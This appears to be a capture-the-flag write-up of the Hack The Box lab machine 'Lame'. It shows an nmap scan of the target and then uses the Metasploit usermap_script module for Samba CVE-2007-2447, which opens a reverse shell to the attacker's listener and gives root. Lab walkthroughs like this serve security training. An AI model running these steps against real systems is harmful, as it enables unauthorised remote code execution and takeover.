Lame is one of HTB’s oldest retired machines and a staple for beginners. The attack surface is small but telling — a quick scan surfaces a notoriously vulnerable service version that leads straight to a root shell in a single step, with no privilege escalation required.
$ ip=10.129.23.24; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-20 04:11 -0400 Nmap scan report for 10.129.23.24 Host is up (0.16s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.16.54 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 54.84 seconds
Key findings from the scan:
21/tcp — vsftpd 2.3.4 with anonymous login enabled (this version has a known backdoor, but it does not trigger here)
Samba 3.0.20 is vulnerable to CVE-2007-2447, a command injection flaw in the username map script configuration option. When this option is enabled, user-supplied input passed to the script is not sanitised, allowing an attacker to inject arbitrary shell commands via shell metacharacters in the SMB username field. The vulnerability results in unauthenticated remote code execution as the user running Samba — in this case, root.
Launch Metasploit and select the usermap_script module:
1
$ msfconsole
1
msf > use exploit/multi/samba/usermap_script
Configure the required options:
1 2 3
msf exploit(multi/samba/usermap_script) > show options msf exploit(multi/samba/usermap_script) > set rhosts 10.129.23.24 msf exploit(multi/samba/usermap_script) > set lhost tun0
Run the exploit:
1 2 3 4 5
msf exploit(multi/samba/usermap_script) > run [*] Started reverse TCP handler on 10.10.16.54:4444 [*] Command shell session 1 opened (10.10.16.54:4444 -> 10.129.23.24:46301) at 2026-06-20 04:57:34 -0400 whoami root
A root shell is returned immediately — no privilege escalation required. Both the user flag (from /home/makis/) and the root flag (from /root/) are directly accessible.
Vaultex
Version 1.0
Theme repository
View the source code, report issues, and contribute to the theme on GitHub.